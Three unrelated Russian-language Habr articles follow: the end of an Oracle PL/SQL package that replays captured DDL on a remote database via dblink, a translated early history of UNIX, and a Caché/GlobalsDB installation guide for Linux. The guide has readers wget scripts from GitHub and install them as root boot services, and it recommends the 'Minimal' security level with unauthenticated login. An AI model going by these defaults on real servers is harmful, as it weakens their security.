l_alias varchar2(5000);
l_dblink varchar2(500);
l_sql varchar2(32000);
l_osuser varchar2(30);
l_machine varchar2(64);
l_log_id number:=null;
l_rev_id number:=null;
l_error_stack varchar2(30000):=null;
l_tmp_tab varchar2(500):=DBMS_RANDOM.STRING('', 8);
l_tmp_proc varchar2(500);
begin
if (pkg_active_alias is null) and (pkg_prepared_alias is null) then
raise_application_error(-20500, 'Needless to end');
end if;
if pkg_prepared_alias is null then
raise_application_error(-20500, 'You must execute PrepareUpdateChannel first');
end if;
l_tmp_proc:='up_$proc_'||l_tmp_tab;
l_tmp_tab:='up_$tab_'||l_tmp_tab;
l_alias:=pkg_prepared_alias;
pkg_prepared_alias:=null;
begin
execute immediate 'create table '||l_tmp_tab||' as select ub.* from upd.upd$buf ub';
execute immediate 'grant select on '||l_tmp_tab||' to '||USER;
l_sql:='create table '||l_tmp_tab||' as select * from upd.'||l_tmp_tab||'@'||pkg_callback_dblink;
ExecRemote(l_sql);
DropObject(l_tmp_tab);
l_sql:='create or replace procedure '||l_tmp_proc||' is
c number;
r number;
l_objname varchar2(30);
l_sqlforerr varchar2(200);
l_error_stack varchar2(30000);
begin
for c_exec in (select * from '||l_tmp_tab||') loop
l_objname:=c_exec.objname;
l_sqlforerr:=dbms_lob.substr(c_exec.sqltext, 200);
c := dbms_sql.open_cursor();
dbms_sql.parse(c, c_exec.sqltext, dbms_sql.native);
r := dbms_sql.execute(c);
dbms_sql.close_cursor(c);
l_objname:=null;
end loop;
execute immediate ''drop table '||l_tmp_tab||' purge'';
exception when others then
execute immediate ''drop table '||l_tmp_tab||' purge'';
if l_objname is not null then
select replace(wm_concat(text), '','', chr(10))
into l_error_stack
from user_errors
where name = l_objname;
end if;
raise_application_error(-20000, ''Obj: ''||l_objname||chr(10)||''SQLERRM: ''||SQLERRM||chr(10)||''Show errors: ''||l_error_stack||chr(10)||''Code: ''||l_sqlforerr);
end;';
ExecRemote(l_sql);
begin
execute immediate 'begin '||l_tmp_proc||'@'||pkg_dblink||'; end;';
commit;
exception when others then
l_error_stack:=SQLERRM;
end;
l_sql:='drop procedure '||l_tmp_proc;
ExecRemote(l_sql);
if l_error_stack is not null then
raise_application_error(-20590, null);
end if;
exception
when others then
l_dblink:=pkg_dblink;
CancelUpdate;
DropObject(l_tmp_tab);
if sqlcode = -20550 then
raise;
elsif sqlcode = -20590 then
raise_application_error(-20555, 'Error when executing remote SQL'||chr(10)||
'Compilation errors: ['||l_error_stack||']');
else
raise;
end if;
end;
SELECT distinct osuser, machine
INTO l_osuser,
l_machine
FROM v$session
WHERE sid = USERENV('sid');
l_rev_id:=UPD$SEQ_REV.NEXTVAL;
INSERT INTO upd.upd$log (ID_LOG, DAT_LOG, FQDN_UNAME_OBJ, ALIAS_OBJ, SQL_TEXT, ID_REV, SQLERRM_LOG)
SELECT upd$seq_log.nextval,
sysdate,
l_machine||'\'||l_osuser,
pkg_prepared_alias,
sqltext,
l_rev_id,
null
FROM upd.upd$buf ub;
execute immediate 'truncate table upd.upd$buf';
end EndUpdateChannel;
procedure ErrorEnumAccess is
begin
null;
end ErrorEnumAccess;
END UPD$;
/
Package body created.
```
К ранее созданным таблицам, добавились еще две, одна из которых используется для визирования успешно выполненных обновлений, а вторая для настройки соединения с удаленной базой Oracle.
Пакет объявлен с директивой AUTHID CURRENT\_USER – что приведет к выполнению процедур пакета, с правами пользователя вызывающего пакет. Теперь, о всех процедурах пакета:
`procedure SetSession(u_sid number, u_remove boolean default false)` – используя автономную транзакцию, записывает текущий идентификатор сессии в таблицу инициирующую прослушивание.
`function JobNumber return number` – получает идентификатор джоба прослушивателя.
`procedure JobRun` – проверяет существование джоба.
`procedure SetChannel(u_alias varchar2)` – получает настройки удаленного соединения и записывает их в локальные переменные пакета.
`procedure CancelUpdate` – стирает настройки и очищает временные таблицы.
`procedure BeginUpdateChannel(u_alias varchar2)` – объединяет вызовы подготовительных процедур и начинает прослушивание.
`procedure PrepareUpdateChannel` – завершает прослушивание и дописывает в таблицу буфер собранные джобом запросы сессии. Я для собственных нужд, не слишком стараясь, отбрасываю при этом DML, select и встреченные в процессе тестирования служебные команды, а так же вызов процедуры PrepareUpdateChannel который тоже записывается в лог сессии.
`procedure DropObject` – вспомогательная процедура для очистки.
`procedure ExecRemote` – выполнение блока на удаленном сервере. Эта процедура реализует один из ключевых моментов механизма. Тут пакет dbms\_sql вызывается на удаленном сервере.
`procedure EndUpdateChannel` – применение обновления. И об этом отдельно.
Оговорюсь, что первый вариант реализации, был несколько проще, того который приведен здесь. Дело в том, что динамический sql не предоставляет возможности выполнять блоки длинной более varchar2 (32767 символов или байт, в зависимости от объявления). Хотя это не совсем так. Локально, dbms\_sql позволяет это, но LOB поле невозможно передать на удаленный сервер. Большое спасибо Тому Кайту (https://asktom.oracle.com/pls/apex/f?p=100:11:0::::P11\_QUESTION\_ID:950029833940), который знает, как пробрасывать LOB между удаленными серверами. Я был приятно удивлен, тем что первый способ, который он приводит, у меня был реализован, через dbms\_lob.substr, которым я в цикле обрезал поле CLOB из таблицы UPD$BUF. Второй способ, который он предлагает, для этой задачи выглядит как: создать на текущем хосте таблицу, с правами вызывающего обновление пользователя и выполнить удаленное создание таблицы по обратному соединению с текущей базой данных. Здесь можно указать на несколько недочетов, в приведенной реализации, а именно: допущение возможной ошибки, если пользователь вызывающий обновление, не равен авторизовавшемуся по dblink, ведь он не будет иметь прав на select из временной таблицы; создание и удаление таблиц динамически. Еще одной проблемой, с которой я уже сталкивался, при «перебрасывании» CLOB между серверами — была ошибка «ORA-02046: distributed transaction already begun». По всей видимости, во время тестирования, возникла подвисшая сессия, или идентификатор удаленного соединения остался открытым. Я повторно не смог смоделировать эту ситуацию, но во избежание повторений, нужно подумать о размещении вызова: dbms\_session.close\_database\_link(pkg\_dblink);
Для выполнения кода из скопированной таблицы, я пробовал генерировать анонимный блок, содержащий по сути тот же самый код, но это приводило к ошибке выполнения на рекурсивном уровне (номер ошибки я не сохранил, что то вроде Error on SQL level 2), но создание процедуры позволило решить и эту последнюю проблему.
Для конечного пользователя можно создать процедуры обертки, с директивой AUTHID DEFINER и раздать права вызывать их нужным пользователям:
```
create or replace procedure ChannelUpdate(u_alias varchar2) AUTHID DEFINER is
begin
upd$.BeginUpdateChannel(u_alias);
end ChannelUpdate;
create or replace procedure ChannelPrepare AUTHID DEFINER is
begin
upd$.PrepareUpdateChannel;
end ChannelPrepare;
create or replace procedure ChannelApply AUTHID DEFINER is
begin
upd$.EndUpdateChannel;
end ChannelApply;
create or replace procedure ChannelCancel AUTHID DEFINER is
begin
upd$.CancelUpdate;
end ChannelCancel;
grant execute on ChannelUpdate to developer;
grant execute on ChannelPrepare to developer;
grant execute on ChannelApply to developer;
grant execute on ChannelCancel to developer;
grant select on upd$log to developer;
``` | https://habr.com/ru/post/239397/ | null | ru | null |
# Ранняя история UNIX
Это перевод фрагмента из статьи, который, на мой взгляд, уместно вынести в отдельный пост. Основная статья: [habrahabr.ru/post/193798](http://habrahabr.ru/post/193798/)
Проект МАС (Multiple Access Computer, Machine-Aided Cognition, Man and Computer) начался как чисто исследовательский в MIT в 1963 году. Потом он разросся в лабораторию компьютерных наук (LCS), а в наши дни назыается Лаборатория компьютерных наук и искусственного интеллекта
В начале 60-х был всплеск интереса к системам с разделением времени. Джон МакКарти написал заметку под заглавием “Программа для оператора с разделением времени для проекта IBM 709” в 1959 году. Корбато, Мервин-Даггет и Далей в 1962 году написали в статье, что “мы на пороге третьего глобального изменения к подходу использования компьюьтеров, из-за разделения времени”. Сначала это рассматривали как способ поднять эффективность использования компьютера, но очень быстро пришли к идее многопользовательской системы. Деннис Ритчи потом скажет, что самый медленный этап в цикле “написать-скомпилировать-выполнить-отладить” стал определяться человеком, а не машиной.

В рамках проекта МАС получился значительный вклад в системы с разделяемым временем, включая разработку операционной системы *(тогда таких слов не было, но давайте так говорить для определенности — прим. перев.)* CTSS (Compatible Time-Sharing System). Во второй половине 60-х было создано несколько других систем с разделением времени, например BBN, DTSS, JOSS, SDC, и пр. Но все это не имеет отношения к этой статье. А вот Multiplexed Information and Computing Service (MULTICS) — имеет.
#### Multics
Это совместная разработка MIT, Bell Telephone Laboratories (BTL) и General Electric (GE) по созданию ОС с разделением времени для компьютера GE-645.
В то время “использовать компьютер” значило практически исключительно “программировать”. То есть, необходимо было более эффективно выполнять упомянутый выше цикл «написать-отладить».
Multics должен был стать прикладным ПО, которое может поддерживать до 1000 пользователей одновременно. Еще из ТЗ (цитируется по “Введению и обзору в систему Multics”, Корбато, Высоцкий, 1965):
* Работа в режиме 24х7 без сбоев
* Наличие фреймворка, который можно будет дописать и усовершенствовать по мере надобности
* Поддержка различных языков программирования и интерфейсов пользователя. Саму систему писали в основном на языке высокого уровня PL/I.
* Поддержка широкого набора приложений
* Поддержка удобного, гибкого и быстрого удаленного доступа
* Иметь иерархическую структуру контроля, распределения ресурсов и авторизации
* Иметь надежную ФС
* Поддержка управления доступа к данным
* Наличие онлайн-документации
BTL отошел от этого проекта в начале 1969 года. Multics развивался как коммерческий продукт даже после череды перепродаж. Honeywell выкупил компьютерный бизнес GE, а Bull выкупил Honeywell. В целом, проект удался и заметно повлиял на многие последующие. Последний компьютер под управлением Multics выключили 31 октября 2000 года.
#### UNIX
Хотя BTL вышел из проекта, некоторые его сотрудники захотели продолжить самостоятельно. Например, Кен Томпсон, Деннис Ритчи, Стью Фельдман, Дуг МакИлрой, Боб Моррис, Джо Оссанна. Томпсон работал над игрой Space Travel на GE-635. Ее написали сначала для Multics, а потом переписали на Фортране под GECOS на GE-635. Игра моделировала тела Солнечной системы, а игроку надо было посадить корабль куда-нибудь на планету или спутник. Ни софт, ни железо этого компьютера не годились для такой игры. Томпсон искал альтернативу, и переписал игру под бесхозный PDP-7. Память была объемом 8К 18-битных слов, и еще был процессор векторного дисплея для вывода красивой для того времени графики. Томпсон с помощью Ритчи переписал игру для PDP-7 на ассемблере. В процессе работы также получился софтверный блок работы с плавающей запятой. Игра работала на голом железе, без ОС.
#### Нулевое издание (конец 1969 года)
Томпсон и Ритчи полностью вели разработку на кросс-ассемблере на GE и переносили код на перфолентах. Томпсону это активно не нравилось, и он начал писать ОС для PDP-7, начиная с файловой системы. Система стала собираться на самой себе в конце 1969 года. Уже было ядро, редактор, ассемблер, простенький шелл и файловые утилиты типа `cat`, `cp`, `rm`. Это был UNICS, название — тонкий троллинг Multics. Потом оно мутировало в UNIX. Это можно считать нулевым изданием.
Первая версия команды `cp`обрабатывала аргументы попарно:
```
# cp file11 file12 file21 file22 ...
```
Команда `dsw` (delete using switches) позволяла интерактивно удалять файлы.
Влияние Multics и еще более ранней системы CTSS на современные юниксоподобные системы:
* Шелл, в Multics он прямо так и назывался — shell. В UNIX подстановка результата выглядит как `command`, а в Multics — [command].
* Многие команды типа `ls`, `pwd`, `chdir` (`cwd` в Multics), `mail`, `man` (`help` в Multics).
* Конфигурация через файлы `rc`. В CTSS была программа `RUNCOM`.
* `roff`, команда для рендеринга текста. В CTSS и Multics документация готовилась командой `RUNOFF`
* Файл как простой поток байтов
* Текст как поток символов и переводов строки
* Древовидная файловая система
* API для доступа к диску, которое скрывает низкоуровневые особенности железа
* Структура аргументов для функций ввода-вывода включает в себя хендлер файла, буфер и количество символов
* Перенаправление ввода-вывода
Ритчи писал в одной из статей по истории: “В целом, UNIX — очень консервативная система. Только небольшая часть реализованных в ней идей действительно новая. Но для наследия CTSS даже это неплохо. ”
У PDP-7 UNIX была файловая система с inodes, но они содержали очень мало информации — список физических блоков и минимальные метаданные: размер, время создания и тип файла. Специальные файлы и каталоги поддерживались, но не было путей к файлам. Зато была буферизация. Еще из существенных ограничений:
* Создавать каталоги и специальные файлы можно только при создании файловой системы, потом нельзя
* Может быть только один диск
* Не поддерживалась мультипрограммность. В каждый момент времени в памяти может быть только одна программа
* Физическое обращение к диску полностью блокировало систему
* Не было вызовов fork, exec, wait. Шелл работал через костыли: при запуске программы шелл завершался, программа при своем завершении должна была запустить шелл заново.
PDP-7 UNIX также положил начало высокоуровневому языку B, который создавался под влиянием языка BCPL. Деннис Ритчи сказал, что В — это С без типов. BCPL помещался в 8 Кб памяти и был тщательно переработан Томпсоном. В постепенно вырос в С. Напомню, что ядро и программы PDP-7 UNIX были полностью написаны на ассемблере.
[Пример ханойских башен на BCPL](http://www.kernelthread.com/projects/hanoi/html/bpl.html)
UNIX также работал на PDP-9. В 1969 году также запустили первый узел ARPANET и опубликовали первый RFC.
Группа разработчиков UNIX уболтала BTL купить более продвинутый компьютер, PDP-11/20 с 24 Кб памяти. Они пообещали написать систему правки и редактирования документации для запуска без ОС, а UNIX использовать только для разработки. UNIX на новом компьютере запустили в начале 1971 года. 12 Кб памяти было занято ядром, еще немного — программами, а все остально ушло под рамдрайв.
#### Первое издание (ноябрь 1971 года)
Первое издание работало на PDP-11/20 без MMU и аппаратной защиты памяти. Так что стабильность работы и устойчивость к сбоям была не на высоте. Мультипрограммности тоже не было, но пути к файлам уже появились. Была документация к таким системным вызовам: `break, cemt, chdir, chmod, chown, close, creat, exec, exit, fork, fstat, getuid, gtty, ilgins, intr, link, mkdir, mount, open, quit, read, rele, seek, setuid, smdate, stat, stime, stty, tell, time, umount, unlink, wait, write.`
Из языков программирования поддерживались ассемблер, B, BASIC, FORTRAN. С еще не было.
Файлы среды разработки на В и ассемблере:
`/bin/as` ассемблер. Файл вывода по умолчанию называется `a.out`
`/bin/ld` редактор ссылок *(по контексту скорее линковщик, но из оригинала такой перевод получить очень затруднительно — прим. перев.)*. В одной директории может одновременно работать только один пользователь из-за конфликта временных файлов
`/bin/nm` выводит таблицу символов из результата работы ассемблера или загрузчика
`/bin/strip` удаляет лишние символы из бинарников
`/bin/un` выводит список не определенных в программе символов
`/etc/as2` второй проход ассемблера
`/etc/ba` ассемблер B (prog.i —> prog.s)
`/etc/bc` компилятор B (prog.b —> prog.i)
`/etc/bilib` библиотека интерпретатора В
`/etc/brt1, /etc/brt2` рантайм В
`/etc/liba.a` ассемблерные подпрограммы
`/etc/libb.a` библиотека подпрограмм для В
`/usr/b/rc` шелл-скрипт для компиляции программы на В в бинарник. Работает по цепочке program.b —> program.i —> program.s —> a.out
В первом издании нигде не упомянут копирайт. Документация представляла собой внушительный семитомник: [cm.bell-labs.com/cm/cs/who/dmr/1stEdman.html](http://cm.bell-labs.com/cm/cs/who/dmr/1stEdman.html). Краткое содержание:
1. Команды. Программы, которые вызывает непосредственно пользователь
2. Системные вызовы. Вызывются через специальную команду процессора
3. Подпрограммы. Вызываются пользовательскими программами
4. Специальные файлы
5. Форматы файлов
6. Разное
В следующих изданиях появился восьмой том, посвященный обслуживанию системы.
Каждая логическая страница мануала называлась `man page` и содержала заглавие, краткое описание, текст, список затрагиваемых файлов, ссылки, диагностику, баги и автора. Документацию готовили в редакторе `ed` и форматировали программой `roff`. Самая первая страница была посвящена команде `cat`.
#### Второе издание (июнь 1972 года)
Во втором издании добавили компилятор С, `сс`. Он был написан на другом языке. Появились новые команды и системные вызовы: `:(1), cc, echo(1), exit(1), goto(1), if(1), login(1), m6(1), man(1), mt(1), opr(1), stty(1), tmg(1), tss(1), kill(2), sleep(2), sync(2), atan(3), hypot(3), nlist(3), qsort(3), salloc(3), and sqrt(3).`
`:(1)` Ничего не делает. Изначально это была метка для goto, нужно было научить шелл игнорировать такие строки
`cc(1)` компилятор С
`m6(1)` макропроцессор общего назначения
`opr(1)` отправляет задание на печать
`tmg(1)` компилятор компиляторов. TMG — это язык для написания компиляторов.
`tss(1)` интерфейс для удаленного доступа к ОС Honeywell TSS.
`salloc(3)` библиотека для работы со строками произвольной длины
Во втором издании все также не было ни мультипрограммности, ни защиты памяти, зато появился копирайт
#### Третье издание (Февраль 1973)
Эта версия заработала на PDP-11/45 с защитой памяти и поддержкой большого ее объема — до 256 Кб.
Из новых фич следует обратить внимание на конвейеры и мультипрограммность. Кроме того:
`cdb(1)` дебаггер С
`crypt(3)` процедура шифрования паролей
`proof(1)` прото-diff
`ps(8)` список процессов
`sno(1)` компилятор и интерпретатор SNOBOL III
`speak(1)` Синтезатор речи. На вход получает поток слов, выдает их произношение
`typo(1)` цитата из мануала: "… ищет в документе редкие слова, опечатки и [hapax legomena](http://ru.wikipedia.org/wiki/%D0%93%D0%B0%D0%BF%D0%B0%D0%BA%D1%81) и печатает их в стандартный вывод")
`yacc(6)` компилятор компиляторов
#### Четвертое издание (ноябрь 1973)
Это фактически третье издание, переписанное на С. Также поддерживаются новые модели PDP-11 — /60 и /70. Из-за разработки на языке более высокого уровня объем системы вырос на треть. Были небольшие обновления команд, язык В исключен из поставки.
#### Что еще есть на эту тему на Хабре
[habrahabr.ru/post/114588](http://habrahabr.ru/post/114588/)
[habrahabr.ru/post/126369](http://habrahabr.ru/post/126369/)
[habrahabr.ru/post/147774](http://habrahabr.ru/post/147774/) — очень хорошо написано. Текст местами повторяется, потому что обе статьи опираются на один и тот же первоисточник
[habrahabr.ru/post/46432](http://habrahabr.ru/post/46432/) | https://habr.com/ru/post/194160/ | null | ru | null |
# Установка InterSystems Caché и GlobalsDB на Linux
Так как у тех, кто впервые устанавливает продукты InterSystems на Linux, часто возникают проблемы в процессе установки, я решил описать этот процесс. На данный момент из бесплатных версий Linux начиная с версии 2014.1 поддерживается CentOS 6.4, поэтому процесс установки буду описывать именно на этой ОС но установка, например, на Ubuntu ничем не отличается (хотя она и не является сейчас официально поддерживаемой InterSystems).
#### Что потребуется
Для установки InterSystems Caché, нам понадобится дистрибутив, если у вас его нет, то вы можете его скачать [здесь](http://www.intersystems.ru/cache/downloads/index.html). Однопользовательская версия, для RedHat, установщик в формате tar.gz. Для установки на Ubuntu нужно брать версию для SuSE Linux. На момент написания статьи доступна версия 2014.1.
Для установки InterSystems GlobalsDB [здесь](http://globalsdb.org/downloads) качаем версию Для RedHat, на выбор предлагается Node.js или Java, но это не важно — на скачиваемый файл это не влияет.
#### 1. Подготовка
Прежде чем начать установку, нужно подготовить машину для работы с Caché и GlobalsDB.
Для начала нужно увеличить объем shared памяти который мы сможем использовать. Для работы Caché и GlobalsDB нужно больше чем обычно выставлено по умолчанию в Linux. В документации об этом написано [здесь](http://docs.intersystems.com/cache20141/csp/docbook/DocBook.UI.Page.cls?KEY=GCI_unixparms#GCI_unixparms_notes_linux_rh).
Для этого нужно подкорректировать два параметра в sysctl, это shmall и shmmax. У меня на CentOS 6.5, они уже при установке получили подходящие значения и менять не пришлось (но вам возможно это сделать понадобится).
Проверить текущие значения можно командами (здесь и далее, предполагается, что действия выполняются под пользователем root):
```
$ sysctl kernel.shmmax
kernel.shmmax = 68719476736
$ sysctl kernel.shmall
kernel.shmall = 4294967296
```
Как видите, в моем варианте shmmax — 64GB, shmall — 4Gb.
Чтобы поменять значение, нужно выполнить команду:
```
$ sysctl kernel.shmmax=68719476736
$ sysctl kernel.shmall=4294967296
```
или так
```
$ echo 68719476736 > /proc/sys/kernel/shmmax
$ echo 4294967296 > /proc/sys/kernel/shmall
```
Но так изменения пропадут после перезагрузки. Для того чтобы нужные нам значения работали всегда, достаточно отредактировать файл `/etc/sysctl.conf`. Следует добавить такие строки, либо найти и изменить соответствующие параметры если они там уже есть.
```
# Controls the maximum shared segment size, in bytes
kernel.shmmax = 68719476736
# Controls the maximum number of shared memory segments, in pages
kernel.shmall = 4294967296
```
Дополнительно потребуется выставить объем памяти, который может быть заблокирован. Проверить текущее значение (результат в килобайтах):
```
$ ulimit -l
64
```
Установить значение, действующее до перезагрузки:
```
$ ulimit -l 4096000
```
Значение, которое будет сохраняться и после перезагрузки, нужно выставить в файле `/etc/security/limits.conf`
```
root soft memlock 4096000
root hard memlock 4096000
```
После этого можно перезагрузиться и проверить все внесенные изменения.
#### 2. Установка
Теперь все готово к установке Caché или [GlobalsDB](#GlobalsDB).
###### Caché
Распаковываем загруженный tar.gz дистрибутив Caché.
```
$ mkdir cache-2014.1.0.608.0su-lnxrhx64
$ tar -zxf cache-2014.1.0.608.0su-lnxrhx64.tar.gz -C ./cache-2014.1.0.608.0su-lnxrhx64
```
Запускаем установку
```
$ cd cache-2014.1.0.608.0su-lnxrhx64
$ ./cinstall
Your system type is 'Red Hat Enterprise Linux 6 (x64)'.
Currently defined instances:
Enter instance name:
```
Отлично, наша система распознана как поддерживаемая, теперь можно заполнять необходимые параметры. Вводимые дальше параметры уже на ваше усмотрение. Тип установки думаю стоит выбрать первый. Поддержка юникод, зависит от необходимости использовании старых проектов на 8 бит, но рекомендую включить поддержку юникод, тем более что уже есть [варианты по миграции](https://github.com/intersystems-ru/UConv) с 8 бит на юникод. Уровень безопасности можно поставить минимальный. При таком уровне пароль SYS будет установлен для всех пользователей, а также будет активен неавторизуемый вход. Уровень безопасности можно будет потом повысить при необходимости.
**Скрытый текст**
```
Enter instance name: CACHE
Do you want to create Cache instance 'CACHE' ?
Enter a destination directory for the new instance.
Directory: /opt/cache
Directory '/opt/cache' does not exist.
Do you want to create it ?
----------------------------------------------------
NOTE: Users should not attempt to access Cache while
the installation is in progress.
----------------------------------------------------
Select installation type.
1) Development - Install Cache server and all language bindings
2) Server only - Install Cache server
3) Custom
Setup type <1>?
Disk blocks required = 2372204
Disk blocks available = 22197288
Do you want to install Cache Unicode support ? yes
How restrictive do you want the initial Security settings to be?
"Minimal" is the least restrictive, "Locked Down" is the most secure.
1) Minimal
2) Normal
3) Locked Down
Initial Security settings <1>?
What group should be allowed to start and stop
this instance? root
Cache did not detect a license key
in directory /opt/cache/mgr.
Do you want to enter a license key ?
Please review the installation options:
------------------------------------------------------------------
Instance name: CACHE
Destination directory: /opt/cache
Cache version to install: 2014.1.0.608.0su
Installation type: Development
Unicode support: Y
Initial Security settings: Minimal
User who owns instance: root
Group allowed to start and stop instance: root
Effective group for Cache processes: cacheusr
Effective user for Cache SuperServer: cacheusr
SuperServer port: 1972
WebServer port: 57772
JDBC Gateway port: 62972
CSP Gateway: using built-in web server
Client components: all
------------------------------------------------------------------
Do you want to proceed with the installation ?
```
Провереяем верность выбранных параметров, и соглашаемся с установкой. Дожидаемся завершения установки.
```
Starting up Cache...
Once this completes, users may access Cache
Starting CACHE
using 'cache.cpf' configuration file
Automatically configuring buffers
Allocated 351MB shared memory: 256MB global buffers, 24MB routine buffers
Creating a WIJ file to hold 31 megabytes of data
This copy of Cache has been licensed for use exclusively by:
Cache Evaluation
Copyright (c) 1986-2014 by InterSystems Corporation
Any other use is a violation of your license agreement
You can point your browser to http://localhost.localdomain:57772/csp/sys/UtilHome.csp
to access the management portal.
Installation completed successfully
```
Теперь мы можем войти в терминал Caché командой:
```
$ csession cache
```
А в портал управления Caché по ссылке <http://localhost:57772/csp/sys/UtilHome.csp>
Запуск и остановка Caché выполняется командами:
```
$ ccontrol start cache
$ ccontrol stop cache
```
последний параметр — это имя инстанса, который мы указали при установке.
###### GlobalsDB
Распаковываем tar.gz дистрибутив GlobalsDB.
```
$ mkdir globals_2013.2.0.350.0_unix
$ tar -zxf globals_2013.2.0.350.0_unix.tar.gz -C ./globals_2013.2.0.350.0_unix
```
Запускаем установку:
```
$ cd ./globals_2013.2.0.350.0_unix/kit_unix_globals/
$ ./installGlobals
Enter the number for your system:
```
Нам предлагают ввести номер нашей системы из списка, но выбора нет. Это связано с тем, что установка производится на CentOS, такая же проблема может возникнуть при установке на Ubuntu версии отличной от 11.04, так как в коде установщика есть жесткая привязка к номеру версии. Для решения этой проблемы применим патч. Создайте файл в текущей папке с именем cplatname.patch
`$ nano cplatname.patch`
и содержимым:
```
--- cplatname 2013-05-02 17:50:01.000000000 -0700
+++ cplatname.new 2014-04-05 11:43:21.676624274 -0700
@@ -114,13 +114,13 @@
distName=`cat /etc/issue | cut -f1 -d" "`
version=`cat /etc/issue | cut -f2 -d" " | cut -f1-2 -d"."`
proc=`uname -m`
- if [ "$distName" = "Ubuntu" -a "$version" = "11.04" -a "$proc" = "x86_64" ] ; then
+ if [ "$distName" = "Ubuntu" -a "$proc" = "x86_64" ] ; then
plat="lnxsusex64"
fi
fi
if [ -f /etc/redhat-release ]
then
- grep -P 'Red Hat Enterprise Linux .* release 6' /etc/redhat-release > /dev/null 2>&1
+ grep -P '.* release 6' /etc/redhat-release > /dev/null 2>&1
if [ $? = 0 ]
then
proc=`uname -m`
```
можно [скачать](https://gist.github.com/daimor/10005852) с GitHubGist
применим новый патч, он решит проблему как для CentOS, так и для Ubuntu.
```
$ patch < cplatname.patch
```
Пробуем повторно запустить установку:
```
$ ./installGlobals
Installing Globals for Red Hat Enterprise Linux 6 (x64)
Enter destination directory name for this installation.
Directory :
```
Отлично, теперь работает, можно устанавливать. В отличии от Caché, здесь установщик от нас попросит только путь установки, и после этого сразу установит и запустит установленный GlobalsDB.
Можно войти в терминал GlobalsDB:
```
$ cd /opt/globalsdb/mgr/
$ ../bin/cache -s ./
^^/opt/globalsdb/mgr/>w $zv
Globals for UNIX (Red Hat Enterprise Linux for x86-64) 2013.2 (Build 350U) Thu May 2 2013 19:28:54 EDT
```
Запуск и остановка сервера GlobalsDB выполняется командами, в подпапке mgr, где был установлен GlobalsDB:
```
$ cd /opt/globalsdb/mgr/
$ ./startGlobals
$ ./stopGlobals
```
При необходимости можно указать размер буфера глобалов, например 1024MB
```
$ ./startGlobals memory=1024
```
#### 3. Автоматический запуск и остановка при загрузке и выключении машины.
«Из коробки» нет готового решения по автоматическому запуску и останову СУБД InterSystems на Linux, что справедливо как для Caché так и для GlobalsDB.
###### Caché
Для управления запуском и остановкой Caché, нашел на github [скрипт](https://github.com/unix-junkie/ccontrol-scripts) от [unix\_junkie](https://habrahabr.ru/users/unix_junkie/)
качаем и устанавливаем его:
```
$ wget https://raw.githubusercontent.com/unix-junkie/ccontrol-scripts/master/etc/init.d/cache
$ cp cache /etc/init.d/cache
$ chown root:root /etc/init.d/cache
$ chmod 755 /etc/init.d/cache
```
теперь нужно активировать службу cache. Так это можно сделать в CentOS.
```
$ chkconfig --add cache
$ chkconfig --list cache
cache 0:off 1:off 2:off 3:on 4:off 5:on 6:off
```
А так в Ubuntu.
```
update-rc.d cache defaults
```
Замечу, что служба зависит от другой службы InterSystems, для которой такой скрипт все таки есть, это служба ISCAgent. И если она остановлена то Caché не запустится. Такое может быть после остановки Caché.
###### GlobalsDB
Скрипт который подходит для Caché не подойдет для GlobalsDB. Поэтому могу предложить свой вариант, взять его можно [здесь](https://gist.github.com/daimor/10009450).
**Скрытый текст**
```
#!/bin/bash
#
## Example of /etc/sysconfig/globalsdb
#
## Globals home directory
# GLOBALS_HOME=/opt/globalsdb
#
## Configure MB of database buffers (default=256)
# MEMORY=1024
#
### BEGIN INIT INFO
# Provides: GlobalsDB
# Required-Start:
# Default-Start: 3 5
# Default-Stop: 0 1 2 6
# Short-Description: Starts GlobalsDB
# Description: Starts GlobalsDB
### END INIT INFO
. /etc/rc.d/init.d/functions
[ -f /etc/sysconfig/globalsdb ] && . /etc/sysconfig/globalsdb
if [ "$GLOBALS_HOME" ]; then
if [ ! -d "$GLOBALS_HOME/mgr" ]; then
echo "$GLOBLAS_HOME/mgr directory not found!" >&2 ; exit 1
fi
cd $GLOBALS_HOME/mgr
else
echo "GLOBALS_HOME is empty" >&2 ; exit 1
fi
mgrdir=`pwd`
start() {
echo -n "Starting Globals in $mgrdir:"
args=""
test "$MEMORY" && args=$args' memory='$MEMORY
./startGlobals quietly $args 1>/dev/null 2>/dev/null
status=$?
if [ $status -eq 0 ] ; then
success
else
failure
fi
echo
return $status
}
stop() {
echo -n "Stopping Globals in $mgrdir: "
./stopGlobals 1>/dev/null 2>/dev/null
status=$?
if [ $status -eq 0 ] ; then
success
else
failure
fi
echo
return $status
}
restart() {
stop
status=$?
if [ $status -ne 0 ] ; then
return $status
fi
start
status=$?
if [ $status -ne 0 ] ; then
return $status
fi
return ${status}
}
status() {
../bin/cache -s . -cV 1>/dev/null 2>/dev/null
status=$?
case $status in
225) echo "Globals in $mgrdir is stopped"
exit 1
;;
*)
echo "Globals in $mgrdir is running"
exit 1
;;
esac
return 0
}
usage() {
echo "Usage: `basename $0` {start|stop|restart|status|help}"
return 0
}
if [ $# -ne 1 ]
then
usage
exit 1
fi
case "$1" in
start)
start
exit $?
;;
stop)
stop
exit $?
;;
restart)
restart
exit $?
;;
status)
status
exit $?
;;
help)
usage
exit $?
;;
*)
usage
exit 1
;;
esac
```
```
$ wget https://gist.githubusercontent.com/daimor/10009450/raw/84856a0c360ebd91ecf442715737f51e81ccf154/globalsdb
$ chmod 755 globalsdb
$ chown root:root globalsdb
$ cp globalsdb /etc/init.d/globalsdb
```
Нужно подготовить файл с настройками
```
# путь к установленному GlobalsDB, тот что указывали при установке
$ echo "GLOBALS_HOME=/opt/globalsdb" > /etc/sysconfig/globalsdb
# Размер буфера глобалов в мегабайтах, если вас не устраивает значение по умолчанию в 256МБ
$ echo "MEMORY=1024" >>/etc/sysconfig/globalsdb
```
Теперь можно включить сервис. CentOS.
```
$ chkconfig --add globalsdb
$ chkconfig --list globalsdb
globalsdb 0:off 1:off 2:off 3:on 4:off 5:on 6:off
```
Ubuntu
```
update-rc.d globalsdb defaults
```
#### 4. Удаленный доступ к терминалу Caché
Теперь о возможности подключится к терминалу Caché с удаленной машины. Конечно, имея telnet или ssh доступ к машине, можно после авторизации запускать `csession`. Но такой путь не всем и не всегда может быть удобен. Я рассмотрю вариант как сделать удаленное подключение сразу в терминал Caché.
Например у вас уже есть настроенный доступ по ssh/telnet. Тогда мы можем создать пользователя у которого в качестве оболчки будет терминал Caché. Создаем файл например с именем `/usr/bin/cachesession` и содержимым, в котором нужно указать верный инстанс, и остальные параметры на свой вкус. Вплоть до возможности запуска сразу какой-нибудь рутины.
```
#!/bin/bash
/usr/bin/csession cache -U USER
```
